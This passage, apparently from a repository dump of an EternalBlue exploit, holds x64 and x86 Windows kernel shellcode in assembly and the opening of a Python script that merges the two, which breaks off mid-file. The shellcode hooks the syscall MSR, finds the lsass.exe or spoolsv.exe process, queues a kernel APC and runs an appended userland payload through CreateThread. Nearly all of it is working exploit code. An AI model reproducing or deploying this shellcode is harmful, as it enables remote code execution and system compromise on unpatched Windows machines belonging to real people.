userland shellcode (MUST NOT be NULL) 368 | push r8 ; NULL 369 | sub rsp, 0x20 ; shadow stack 370 | mov edi, KEINITIALIZEAPC_HASH 371 | call win_api_direct 372 | ; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later 373 | 374 | ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0); 375 | ; SystemArgument1 is second argument in usermode code (rdx) 376 | ; SystemArgument2 is third argument in usermode code (r8) 377 | lea rcx, [rbp+DATA_KAPC_OFFSET] 378 | ;xor edx, edx ; no need to set it here 379 | ;xor r8, r8 ; no need to set it here 380 | xor r9, r9 381 | mov edi, KEINSERTQUEUEAPC_HASH 382 | call win_api_direct 383 | add rsp, 0x40 384 | ; if insertion failed, try next thread 385 | test eax, eax 386 | jz _insert_queue_apc_loop 387 | 388 | mov rax, [rbp+DATA_KAPC_OFFSET+0x10] ; get KAPC.ApcListEntry 389 | ; EPROCESS pointer 8 bytes 390 | ; InProgressFlags 1 byte 391 | ; KernelApcPending 1 byte 392 | ; if success, UserApcPending MUST be 1 393 | cmp byte [rax+0x1a], 1 394 | je _insert_queue_apc_done 395 | 396 | ; manual remove list without lock 397 | mov [rax], rax 398 | mov [rax+8], rax 399 | jmp _insert_queue_apc_loop 400 | 401 | _insert_queue_apc_done: 402 | ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine. 403 | 404 | _r3_to_r0_done: 405 | pop rax 406 | pop rbx 407 | pop rsi 408 | pop rdi 409 | pop r14 410 | pop r15 411 | ret 412 | 413 | ;======================================================================== 414 | ; Call function in specific module 415 | ; 416 | ; All function arguments are passed as calling normal function with extra register arguments 417 | ; Extra Arguments: r15 = module pointer 418 | ; edi = hash of target function name 419 | ;======================================================================== 420 | win_api_direct: 421 | call get_proc_addr 422 | jmp rax 423 | 424 | 425 | ;======================================================================== 426 | ; Get function address in specific module 427 | ; 428 | ; Arguments: r15 = module pointer 429 | ; edi = hash of target function name 430 | ; Return: eax = offset 431 | ;======================================================================== 432 | get_proc_addr: 433 | ; Save registers 434 | push rbx 435 | push rcx 436 | push rsi ; for using calc_hash 437 | 438 | ; use rax to find EAT 439 | mov eax, dword [r15+60] ; Get PE header e_lfanew 440 | mov eax, dword [r15+rax+136] ; Get export tables RVA 441 | 442 | add rax, r15 443 | push rax ; save EAT 444 | 445 | mov ecx, dword [rax+24] ; NumberOfFunctions 446 | mov ebx, dword [rax+32] ; FunctionNames 447 | add rbx, r15 448 | 449 | _get_proc_addr_get_next_func: 450 | ; When we reach the start of the EAT (we search backwards), we hang or crash 451 | dec ecx ; decrement NumberOfFunctions 452 | mov esi, dword [rbx+rcx*4] ; Get rva of next module name 453 | add rsi, r15 ; Add the modules base address 454 | 455 | call calc_hash 456 | 457 | cmp eax, edi ; Compare the hashes 458 | jnz _get_proc_addr_get_next_func ; try the next function 459 | 460 | _get_proc_addr_finish: 461 | pop rax ; restore EAT 462 | mov ebx, dword [rax+36] 463 | add rbx, r15 ; ordinate table virtual address 464 | mov cx, word [rbx+rcx*2] ; desired functions ordinal 465 | mov ebx, dword [rax+28] ; Get the function addresses table rva 466 | add rbx, r15 ; Add the modules base address 467 | mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA 468 | add rax, r15 ; Add the modules base address to get the functions actual VA 469 | 470 | pop rsi 471 | pop rcx 472 | pop rbx 473 | ret 474 | 475 | ;======================================================================== 476 | ; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode. 477 | ; 478 | ; Argument: rsi = string to hash 479 | ; Clobber: rsi 480 | ; Return: eax = hash 481 | ;======================================================================== 482 | calc_hash: 483 | push rdx 484 | xor eax, eax 485 | cdq 486 | _calc_hash_loop: 487 | lodsb ; Read in the next byte of the ASCII string 488 | ror edx, 13 ; Rotate right our hash value 489 | add edx, eax ; Add the next byte of the string 490 | test eax, eax ; Stop when found NULL 491 | jne _calc_hash_loop 492 | xchg edx, eax 493 | pop rdx 494 | ret 495 | 496 | 497 | ; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context. 498 | ; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery(). 499 | ; Moreover, there is no lock when calling KernelApcRoutine. 500 | ; So KernelApcRoutine can simply lower the IRQL by setting cr8 register. 501 | ; 502 | ; VOID KernelApcRoutine( 503 | ; IN PKAPC Apc, 504 | ; IN PKNORMAL_ROUTINE *NormalRoutine, 505 | ; IN PVOID *NormalContext, 506 | ; IN PVOID *SystemArgument1, 507 | ; IN PVOID *SystemArgument2) 508 | kernel_kapc_routine: 509 | push rbp 510 | push rbx 511 | push rdi 512 | push rsi 513 | push r15 514 | 515 | mov rbp, [r8] ; *NormalContext is our data area pointer 516 | 517 | mov r15, [rbp+DATA_NT_KERNEL_ADDR_OFFSET] 518 | push rdx 519 | pop rsi ; mov rsi, rdx 520 | mov rbx, r9 521 | 522 | ;====================================== 523 | ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40) 524 | ;====================================== 525 | xor eax, eax 526 | mov cr8, rax ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires) 527 | ; rdx is already address of baseAddr 528 | mov [rdx], rax ; baseAddr = 0 529 | mov ecx, eax 530 | not rcx ; ProcessHandle = -1 531 | mov r8, rax ; ZeroBits 532 | mov al, 0x40 ; eax = 0x40 533 | push rax ; PAGE_EXECUTE_READWRITE = 0x40 534 | shl eax, 6 ; eax = 0x40 << 6 = 0x1000 535 | push rax ; MEM_COMMIT = 0x1000 536 | ; reuse r9 for address of RegionSize 537 | mov [r9], rax ; RegionSize = 0x1000 538 | sub rsp, 0x20 ; shadow stack 539 | mov edi, ZWALLOCATEVIRTUALMEMORY_HASH 540 | call win_api_direct 541 | add rsp, 0x30 542 | %ifndef COMPACT 543 | ; check error 544 | test eax, eax 545 | jnz _kernel_kapc_routine_exit 546 | %endif 547 | 548 | ;====================================== 549 | ; copy userland payload 550 | ;====================================== 551 | mov rdi, [rsi] 552 | lea rsi, [rel userland_start] 553 | mov ecx, 0x600 ; fix payload size to 1536 bytes 554 | rep movsb 555 | 556 | ;====================================== 557 | ; find CreateThread address (in kernel32.dll) 558 | ;====================================== 559 | mov rax, [rbp+DATA_PEB_ADDR_OFFSET] 560 | mov rax, [rax + 0x18] ; PEB->Ldr 561 | mov rax, [rax + 0x20] ; InMemoryOrder list 562 | 563 | %ifdef COMPACT 564 | mov rsi, [rax] ; first one always be executable, skip it 565 | lodsq ; skip ntdll.dll 566 | %else 567 | _find_kernel32_dll_loop: 568 | mov rax, [rax] ; first one always be executable 569 | ; offset 0x38 (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll) 570 | ; offset 0x48 (WORD) => must be 0x18 (name len kernel32.dll) 571 | ; offset 0x50 => is name 572 | ; offset 0x20 => is dllbase 573 | ;cmp word [rax+0x38], 0x40 574 | ;jne _find_kernel32_dll_loop 575 | cmp word [rax+0x48], 0x18 576 | jne _find_kernel32_dll_loop 577 | 578 | mov rdx, [rax+0x50] 579 | ; check only "32" because name might be lowercase or uppercase 580 | cmp dword [rdx+0xc], 0x00320033 ; 3\x002\x00 581 | jnz _find_kernel32_dll_loop 582 | %endif 583 | 584 | mov r15, [rax+0x20] 585 | mov edi, CREATETHREAD_HASH 586 | call get_proc_addr 587 | 588 | ; save CreateThread address to SystemArgument1 589 | mov [rbx], rax 590 | 591 | _kernel_kapc_routine_exit: 592 | xor ecx, ecx 593 | ; clear queueing kapc flag, allow other hijacked system call to run shellcode 594 | mov byte [rbp+DATA_QUEUEING_KAPC_OFFSET], cl 595 | ; restore IRQL to APC_LEVEL 596 | mov cl, 1 597 | mov cr8, rcx 598 | 599 | pop r15 600 | pop rsi 601 | pop rdi 602 | pop rbx 603 | pop rbp 604 | ret 605 | 606 | 607 | userland_start: 608 | userland_start_thread: 609 | ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL) 610 | xchg rdx, rax ; rdx is CreateThread address passed from kernel 611 | xor ecx, ecx ; lpThreadAttributes = NULL 612 | push rcx ; lpThreadId = NULL 613 | push rcx ; dwCreationFlags = 0 614 | mov r9, rcx ; lpParameter = NULL 615 | lea r8, [rel userland_payload] ; lpStartAddr 616 | mov edx, ecx ; dwStackSize = 0 617 | sub rsp, 0x20 618 | call rax 619 | add rsp, 0x30 620 | ret 621 | 622 | userland_payload: 623 | -------------------------------------------------------------------------------- /shellcode/eternalblue_kshellcode_x86.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Windows x86 kernel shellcode from ring 0 to ring 3 by sleepya 3 | ; The shellcode is written for eternalblue exploit: eternalblue_exploit7.py 4 | ; 5 | ; 6 | ; Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0) 7 | ; 8 | ; 9 | ; Note: 10 | ; - The userland shellcode is run in a new thread of system process. 11 | ; If userland shellcode causes any exception, the system process get killed. 12 | ; - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to 13 | ; get call because system call is called on other processors. 14 | ; - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed. 15 | ; This helps running exploit against same target repeatly more reliable. 16 | ; - The userland payload MUST be appened to this shellcode. 17 | ; 18 | ; Reference: 19 | ; - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info) 20 | ; - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c 21 | 22 | BITS 32 23 | ORG 0 24 | 25 | 26 | PSGETCURRENTPROCESS_HASH EQU 0xdbf47c78 27 | PSGETPROCESSID_HASH EQU 0x170114e1 28 | PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f 29 | LSASS_EXE_HASH EQU 0xc1fa6a5a 30 | SPOOLSV_EXE_HASH EQU 0x3ee083d8 31 | ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea 32 | PSGETTHREADTEB_HASH EQU 0xcef84c3e 33 | KEINITIALIZEAPC_HASH EQU 0x6d195cc4 34 | KEINSERTQUEUEAPC_HASH EQU 0xafcc4634 35 | PSGETPROCESSPEB_HASH EQU 0xb818b848 36 | CREATETHREAD_HASH EQU 0x835e515e 37 | 38 | 39 | 40 | DATA_ORIGIN_SYSCALL_OFFSET EQU 0x0 41 | DATA_MODULE_ADDR_OFFSET EQU 0x4 42 | DATA_QUEUEING_KAPC_OFFSET EQU 0x8 43 | DATA_EPROCESS_OFFSET EQU 0xc 44 | DATA_KAPC_OFFSET EQU 0x10 45 | 46 | section .text 47 | global shellcode_start 48 | 49 | shellcode_start: 50 | 51 | setup_syscall_hook: 52 | ; IRQL is DISPATCH_LEVEL when got code execution 53 | %ifdef WIN7 54 | mov eax, [esp+0x20] ; fetch SRVNET_BUFFER address from function argument 55 | ; set nByteProcessed to free corrupted buffer after return 56 | mov ecx, [eax+0x14] 57 | mov [eax+0x1c], ecx 58 | %elifdef WIN8 59 | %endif 60 | 61 | pushad 62 | 63 | call _setup_syscall_hook_find_eip 64 | _setup_syscall_hook_find_eip: 65 | pop ebx 66 | 67 | call set_ebp_data_address_fn 68 | 69 | ; read current syscall 70 | mov ecx, 0x176 71 | rdmsr 72 | ; do NOT replace saved original syscall address with hook syscall 73 | lea edi, [ebx+syscall_hook-_setup_syscall_hook_find_eip] 74 | cmp eax, edi 75 | je _setup_syscall_hook_done 76 | 77 | ; if (saved_original_syscall != &KiFastCallEntry) do_first_time_initialize 78 | cmp dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax 79 | je _hook_syscall 80 | 81 | ; save original syscall 82 | mov dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax 83 | 84 | ; first time on the target, clear the data area 85 | ; edx should be zero from rdmsr 86 | mov dword [ebp+DATA_QUEUEING_KAPC_OFFSET], edx 87 | 88 | _hook_syscall: 89 | ; set a new syscall on running processor 90 | ; setting MSR 0x176 affects only running processor 91 | mov eax, edi 92 | xor edx, edx 93 | wrmsr 94 | 95 | _setup_syscall_hook_done: 96 | popad 97 | %ifdef WIN7 98 | xor eax, eax 99 | %elifdef WIN8 100 | xor eax, eax 101 | %endif 102 | ret 0x24 103 | 104 | ;======================================================================== 105 | ; Find memory address in HAL heap for using as data area 106 | ; Arguments: ebx = any address in this shellcode 107 | ; Return: ebp = data address 108 | ;======================================================================== 109 | set_ebp_data_address_fn: 110 | ; On idle target without user application, syscall on hijacked processor might not be called immediately. 111 | ; Find some address to store the data, the data in this address MUST not be modified 112 | ; when exploit is rerun before syscall is called 113 | lea ebp, [ebx + 0x1000] 114 | shr ebp, 12 115 | shl ebp, 12 116 | sub ebp, 0x50 ; for KAPC struct too 117 | ret 118 | 119 | 120 | syscall_hook: 121 | mov ecx, 0x23 122 | push 0x30 123 | pop fs 124 | mov ds,cx 125 | mov es,cx 126 | mov ecx, dword [fs:0x40] 127 | mov esp, dword [ecx+4] 128 | 129 | push ecx ; want this stack space to store original syscall addr 130 | pushfd 131 | pushad 132 | 133 | call _syscall_hook_find_eip 134 | _syscall_hook_find_eip: 135 | pop ebx 136 | 137 | call set_ebp_data_address_fn 138 | mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET] 139 | 140 | add eax, 0x17 ; adjust syscall entry, so we do not need to reverse start of syscall handler 141 | mov [esp+0x24], eax ; 0x4 (pushfd) + 0x20 (pushad) = 0x24 142 | 143 | ; use lock cmpxchg for queueing APC only one at a time 144 | xor eax, eax 145 | cdq 146 | inc edx 147 | lock cmpxchg byte [ebp+DATA_QUEUEING_KAPC_OFFSET], dl 148 | jnz _syscall_hook_done 149 | 150 | ;====================================== 151 | ; restore syscall 152 | ;====================================== 153 | ; an error after restoring syscall should never occur 154 | mov ecx, 0x176 155 | cdq 156 | mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET] 157 | wrmsr 158 | 159 | ; allow interrupts while executing shellcode 160 | sti 161 | call r3_to_r0_start 162 | cli 163 | 164 | _syscall_hook_done: 165 | popad 166 | popfd 167 | ret 168 | 169 | r3_to_r0_start: 170 | ;====================================== 171 | ; find nt kernel address 172 | ;====================================== 173 | mov eax, dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET] ; KiFastCallEntry is an address in nt kernel 174 | shr eax, 0xc ; strip to page size 175 | shl eax, 0xc 176 | 177 | _find_nt_walk_page: 178 | sub eax, 0x1000 ; walk along page size 179 | cmp word [eax], 0x5a4d ; 'MZ' header 180 | jne _find_nt_walk_page 181 | 182 | ; save nt address 183 | mov [ebp+DATA_MODULE_ADDR_OFFSET], eax 184 | 185 | ;====================================== 186 | ; get current EPROCESS and ETHREAD 187 | ;====================================== 188 | mov eax, PSGETCURRENTPROCESS_HASH 189 | call win_api_direct 190 | xchg edi, eax ; edi = EPROCESS 191 | 192 | ;====================================== 193 | ; find offset of EPROCESS.ImageFilename 194 | ;====================================== 195 | mov eax, PSGETPROCESSIMAGEFILENAME_HASH 196 | push edi 197 | call win_api_direct 198 | sub eax, edi 199 | mov ecx, eax ; ecx = offset of EPROCESS.ImageFilename 200 | 201 | ;====================================== 202 | ; find offset of EPROCESS.ThreadListHead 203 | ;====================================== 204 | ; possible diff from ImageFilename offset is 0x1c and 0x24 (Win8+) 205 | ; if offset of ImageFilename is 0x170, current is (Win8+) 206 | %ifdef WIN7 207 | lea ebx, [eax+0x1c] 208 | %elifdef WIN8 209 | lea ebx, [eax+0x24] 210 | %else 211 | cmp eax, 0x170 ; eax is still an offset of EPROCESS.ImageFilename 212 | jne _find_eprocess_threadlist_offset_win7 213 | add eax, 0x8 214 | _find_eprocess_threadlist_offset_win7: 215 | lea ebx, [eax+0x1c] ; ebx = offset of EPROCESS.ThreadListHead 216 | %endif 217 | 218 | 219 | ;====================================== 220 | ; find offset of ETHREAD.ThreadListEntry 221 | ;====================================== 222 | ; edi = EPROCESS 223 | ; ebx = offset of EPROCESS.ThreadListHead 224 | lea esi, [edi+ebx] ; esi = address of EPROCESS.ThreadListHead 225 | mov eax, dword [fs:0x124] ; get _ETHREAD pointer from KPCR 226 | ; ETHREAD.ThreadListEntry must be between ETHREAD (eax) and ETHREAD+0x400 227 | _find_ethread_threadlist_offset_loop: 228 | mov esi, dword [esi] 229 | ; if (esi - edi < 0x400) found 230 | mov edx, esi 231 | sub edx, eax 232 | cmp edx, 0x400 233 | ja _find_ethread_threadlist_offset_loop ; need unsigned comparison 234 | push edx ; save offset of ETHREAD.ThreadListEntry to stack 235 | 236 | 237 | ;====================================== 238 | ; find offset of EPROCESS.ActiveProcessLinks 239 | ;====================================== 240 | mov eax, PSGETPROCESSID_HASH 241 | call get_proc_addr 242 | mov eax, dword [eax+0xa] ; get offset from code (offset of UniqueProcessId is always > 0x7f) 243 | lea edx, [eax+4] ; edx = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId) 244 | 245 | ;====================================== 246 | ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock 247 | ;====================================== 248 | ; edi = EPROCESS 249 | ; ecx = offset of EPROCESS.ImageFilename 250 | ; edx = offset of EPROCESS.ActiveProcessLinks 251 | _find_target_process_loop: 252 | lea esi, [edi+ecx] 253 | call calc_hash 254 | cmp eax, LSASS_EXE_HASH ; "lsass.exe" 255 | jz found_target_process 256 | %ifndef COMPACT 257 | cmp eax, SPOOLSV_EXE_HASH ; "spoolsv.exe" 258 | jz found_target_process 259 | %endif 260 | ; next process 261 | mov edi, [edi+edx] 262 | sub edi, edx 263 | jmp _find_target_process_loop 264 | 265 | 266 | found_target_process: 267 | ; The allocation for userland payload will be in KernelApcRoutine. 268 | ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess() 269 | 270 | ;====================================== 271 | ; save EPROCESS for finding CreateThread address in kernel KAPC routine 272 | ;====================================== 273 | mov [ebp+DATA_EPROCESS_OFFSET], edi 274 | 275 | 276 | ;====================================== 277 | ; iterate ThreadList until KeInsertQueueApc() success 278 | ;====================================== 279 | ; edi = EPROCESS 280 | ; ebx = offset of EPROCESS.ThreadListHead 281 | 282 | lea ebx, [edi+ebx] ; use ebx for iterating thread 283 | lea esi, [ebp+DATA_KAPC_OFFSET] ; esi = KAPC address 284 | pop edi ; edi = offset of ETHREAD.ThreadListEntry 285 | 286 | 287 | ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset. 288 | ; Moreover, alertable thread need to be waiting state which is more difficult to check. 289 | ; try queueing APC then check KAPC member is more reliable. 290 | 291 | _insert_queue_apc_loop: 292 | ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front 293 | mov ebx, [ebx+4] 294 | ; no check list head 295 | 296 | ; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer. 297 | ; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL. 298 | ; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer. 299 | ; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL. 300 | ; Teb member is next to Queue member. 301 | mov eax, PSGETTHREADTEB_HASH 302 | call get_proc_addr 303 | mov eax, dword [eax+0xa] ; get offset from code (offset of Teb is always > 0x7f) 304 | %ifdef WIN7 305 | sub eax, edi 306 | cmp dword [ebx+eax-12], 0 ; KTHREAD.Queue MUST not be NULL 307 | %elifdef WIN8 308 | sub eax, edi 309 | cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL 310 | %else 311 | cmp al, 0xa0 ; win8+ offset is 0xa8 312 | ja _kthread_queue_check 313 | sub al, 8 ; late 5.2 to 6.1, displacement is 0xc 314 | _kthread_queue_check: 315 | sub eax, edi 316 | cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL 317 | %endif 318 | je _insert_queue_apc_loop 319 | 320 | ; KeInitializeApc(PKAPC, 321 | ; PKTHREAD, 322 | ; KAPC_ENVIRONMENT = OriginalApcEnvironment (0), 323 | ; PKKERNEL_ROUTINE = kernel_apc_routine, 324 | ; PKRUNDOWN_ROUTINE = NULL, 325 | ; PKNORMAL_ROUTINE = userland_shellcode, 326 | ; KPROCESSOR_MODE = UserMode (1), 327 | ; PVOID Context); 328 | xor eax, eax 329 | push ebp ; context 330 | push 1 ; UserMode 331 | push ebp ; userland shellcode (MUST NOT be NULL) 332 | push eax ; NULL 333 | call _init_kapc_find_kroutine 334 | _init_kapc_find_kroutine: 335 | add dword [esp], kernel_kapc_routine-_init_kapc_find_kroutine ; KernelApcRoutine 336 | push eax ; OriginalApcEnvironment 337 | push ebx 338 | sub [esp], edi ; ETHREAD 339 | push esi ; KAPC 340 | mov eax, KEINITIALIZEAPC_HASH 341 | call win_api_direct 342 | 343 | 344 | ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0); 345 | ; SystemArgument1 is second argument in usermode code 346 | ; SystemArgument2 is third argument in usermode code 347 | xor eax, eax 348 | push eax 349 | push eax ; SystemArgument2 350 | push eax ; SystemArgument1 351 | push esi ; PKAPC 352 | mov eax, KEINSERTQUEUEAPC_HASH 353 | call win_api_direct 354 | ; if insertion failed, try next thread 355 | test eax, eax 356 | jz _insert_queue_apc_loop 357 | 358 | mov eax, [ebp+DATA_KAPC_OFFSET+0xc] ; get KAPC.ApcListEntry 359 | ; EPROCESS pointer 4 bytes 360 | ; InProgressFlags 1 byte 361 | ; KernelApcPending 1 byte 362 | ; if success, UserApcPending MUST be 1 363 | cmp byte [eax+0xe], 1 364 | je _insert_queue_apc_done 365 | 366 | ; manual remove list without lock 367 | mov [eax], eax 368 | mov [eax+4], eax 369 | jmp _insert_queue_apc_loop 370 | 371 | _insert_queue_apc_done: 372 | ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine. 373 | 374 | _r3_to_r0_done: 375 | ret 376 | 377 | ;======================================================================== 378 | ; Call function in specific module 379 | ; 380 | ; All function arguments are passed as calling normal function with extra register arguments 381 | ; Extra Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer 382 | ; eax = hash of target function name 383 | ;======================================================================== 384 | win_api_direct: 385 | call get_proc_addr 386 | jmp eax 387 | 388 | 389 | ;======================================================================== 390 | ; Get function address in specific module 391 | ; 392 | ; Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer 393 | ; eax = hash of target function name 394 | ; Return: eax = offset 395 | ;======================================================================== 396 | get_proc_addr: 397 | pushad 398 | 399 | mov ebp, [ebp+DATA_MODULE_ADDR_OFFSET] ; ebp = module address 400 | xchg edi, eax ; edi = hash 401 | 402 | mov eax, dword [ebp+0x3c] ; Get PE header e_lfanew 403 | mov edx, dword [ebp+eax+0x78] ; Get export tables RVA 404 | 405 | add edx, ebp ; edx = EAT 406 | 407 | mov ecx, dword [edx+0x18] ; NumberOfFunctions 408 | mov ebx, dword [edx+0x20] ; FunctionNames 409 | add ebx, ebp 410 | 411 | _get_proc_addr_get_next_func: 412 | ; When we reach the start of the EAT (we search backwards), we hang or crash 413 | dec ecx ; decrement NumberOfFunctions 414 | mov esi, dword [ebx+ecx*4] ; Get rva of next module name 415 | add esi, ebp ; Add the modules base address 416 | 417 | call calc_hash 418 | 419 | cmp eax, edi ; Compare the hashes 420 | jnz _get_proc_addr_get_next_func ; try the next function 421 | 422 | _get_proc_addr_finish: 423 | mov ebx, dword [edx+0x24] 424 | add ebx, ebp ; ordinate table virtual address 425 | mov cx, word [ebx+ecx*2] ; desired functions ordinal 426 | mov ebx, dword [edx+0x1c] ; Get the function addresses table rva 427 | add ebx, ebp ; Add the modules base address 428 | mov eax, dword [ebx+ecx*4] ; Get the desired functions RVA 429 | add eax, ebp ; Add the modules base address to get the functions actual VA 430 | 431 | mov [esp+0x1c], eax 432 | popad 433 | ret 434 | 435 | ;======================================================================== 436 | ; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode. 437 | ; 438 | ; Argument: esi = string to hash 439 | ; Clobber: esi 440 | ; Return: eax = hash 441 | ;======================================================================== 442 | calc_hash: 443 | push edx 444 | xor eax, eax 445 | cdq 446 | _calc_hash_loop: 447 | lodsb ; Read in the next byte of the ASCII string 448 | ror edx, 13 ; Rotate right our hash value 449 | add edx, eax ; Add the next byte of the string 450 | test eax, eax ; Stop when found NULL 451 | jne _calc_hash_loop 452 | xchg edx, eax 453 | pop edx 454 | ret 455 | 456 | 457 | 458 | ; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context. 459 | ; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery(). 460 | ; Moreover, there is no lock when calling KernelApcRoutine. 461 | ; 462 | ; VOID KernelApcRoutine( 463 | ; IN PKAPC Apc, 464 | ; IN PKNORMAL_ROUTINE *NormalRoutine, 465 | ; IN PVOID *NormalContext, 466 | ; IN PVOID *SystemArgument1, 467 | ; IN PVOID *SystemArgument2) 468 | kernel_kapc_routine: 469 | ; reorder stack to make everything easier 470 | pop eax 471 | mov [esp+0x10], eax ; move saved eip to &SystemArgument2 472 | pop eax ; PKAPC (unused) 473 | pop ecx ; &NormalRoutine 474 | pop eax ; &NormalContext 475 | pop edx ; &SystemArgument1 476 | 477 | pushad 478 | push edx ; &SystemArgument1 (use for set CreateThread address) 479 | push ecx ; &NormalRoutine 480 | 481 | mov ebp, [eax] ; *NormalContext is our data area pointer 482 | 483 | ;====================================== 484 | ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40) 485 | ;====================================== 486 | xor eax, eax 487 | mov byte [fs:0x24], al ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires) 488 | cdq 489 | 490 | mov al, 0x40 ; eax = 0x40 491 | push eax ; PAGE_EXECUTE_READWRITE = 0x40 492 | shl eax, 6 ; eax = 0x40 << 6 = 0x1000 493 | push eax ; MEM_COMMIT = 0x1000 494 | push esp ; &RegionSize = 0x1000 (reuse MEM_COMMIT argument in stack) 495 | push edx ; ZeroBits 496 | mov [ecx], edx 497 | push ecx ; baseAddr = 0 498 | dec edx 499 | push edx ; ProcessHandle = -1 500 | mov eax, ZWALLOCATEVIRTUALMEMORY_HASH 501 | call win_api_direct 502 | %ifndef COMPACT 503 | test eax, eax 504 | jnz _kernel_kapc_routine_exit 505 | %endif 506 | 507 | ;====================================== 508 | ; copy userland payload 509 | ;====================================== 510 | pop eax 511 | mov edi, [eax] 512 | call _kernel_kapc_routine_find_userland 513 | _kernel_kapc_routine_find_userland: 514 | pop esi 515 | add esi, userland_start-_kernel_kapc_routine_find_userland 516 | mov ecx, 0x400 ; fix payload size to 1024 bytes 517 | rep movsb 518 | 519 | ;====================================== 520 | ; find current PEB 521 | ;====================================== 522 | mov eax, [ebp+DATA_EPROCESS_OFFSET] 523 | push eax 524 | mov eax, PSGETPROCESSPEB_HASH 525 | call win_api_direct 526 | 527 | ;====================================== 528 | ; find CreateThread address (in kernel32.dll) 529 | ;====================================== 530 | mov eax, [eax + 0xc] ; PEB->Ldr 531 | mov eax, [eax + 0x14] ; InMemoryOrderModuleList 532 | 533 | %ifdef COMPACT 534 | mov esi, [eax] ; first one always be executable, skip it 535 | lodsd ; skip ntdll.dll 536 | %else 537 | _find_kernel32_dll_loop: 538 | mov eax, [eax] ; first one always be executable 539 | ; offset 0x1c (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll) 540 | ; offset 0x24 (WORD) => must be 0x18 (name len kernel32.dll) 541 | ; offset 0x28 => is name 542 | ; offset 0x10 => is dllbase 543 | ;cmp word [eax+0x1c], 0x40 544 | ;jne _find_kernel32_dll_loop 545 | cmp word [eax+0x24], 0x18 546 | jne _find_kernel32_dll_loop 547 | 548 | mov edx, [eax+0x28] 549 | ; check only "32" because name might be lowercase or uppercase 550 | cmp dword [edx+0xc], 0x00320033 ; 3\x002\x00 551 | jnz _find_kernel32_dll_loop 552 | %endif 553 | 554 | mov ebx, [eax+0x10] 555 | mov [ebp+DATA_MODULE_ADDR_OFFSET], ebx 556 | mov eax, CREATETHREAD_HASH 557 | call get_proc_addr 558 | 559 | ; save CreateThread address to SystemArgument1 560 | pop ecx 561 | mov [ecx], eax 562 | 563 | _kernel_kapc_routine_exit: 564 | xor eax, eax 565 | ; clear queueing kapc flag, allow other hijacked system call to run shellcode 566 | mov byte [ebp+DATA_QUEUEING_KAPC_OFFSET], al 567 | ; restore IRQL to APC_LEVEL 568 | inc eax 569 | mov byte [fs:0x24], al 570 | 571 | popad 572 | ret 573 | 574 | 575 | userland_start: 576 | userland_start_thread: 577 | ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL) 578 | pop edx ; saved eip 579 | pop eax ; first argument (NormalContext) 580 | pop eax ; CreateThread address passed from kernel 581 | pop ecx ; another argument (NULL) passed from kernel 582 | push ecx ; lpThreadId = NULL 583 | push ecx ; dwCreationFlags = 0 584 | push ecx ; lpParameter = NULL 585 | call _userland_start_thread_find_payload 586 | _userland_start_thread_find_payload: 587 | add dword [esp], userland_payload-_userland_start_thread_find_payload ; lpStartAddr 588 | push ecx ; dwStackSize = 0 589 | push ecx ; lpThreadAttributes = NULL 590 | push edx ; restore saved eip 591 | jmp eax 592 | 593 | userland_payload: 594 | -------------------------------------------------------------------------------- /shellcode/eternalblue_sc_merge.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from struct import pack 3 | 4 | if len(sys.argv) < 4: 5 | print('Usage: {} sc_x86 sc_x64 sc_out'.format(sys.argv[0])) 6 | sys.exit() 7 | 8 | sc_x86 = open(sys.argv[1], 'rb').read() 9 | sc_x64 = open(sys.argv[2], 'rb').read() 10 | 11 | fp = open(sys.argv[3], 'wb') 12 | ''' 13 | \x31\xc0 xor eax, eax 14 | \x40 inc eax 15 | \x0f\x84???? jz 